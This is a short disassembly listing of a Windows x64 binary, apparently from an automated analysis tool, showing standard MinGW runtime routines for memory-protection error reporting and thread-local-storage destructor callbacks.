call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140198b0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140198a98
mov rax, qword [0x1403680a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140199100
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140368100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1403680e0]
test rbx, rbx
je 0x14019915c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140199153
test rsi, rsi
je 0x140199153
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140199138
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]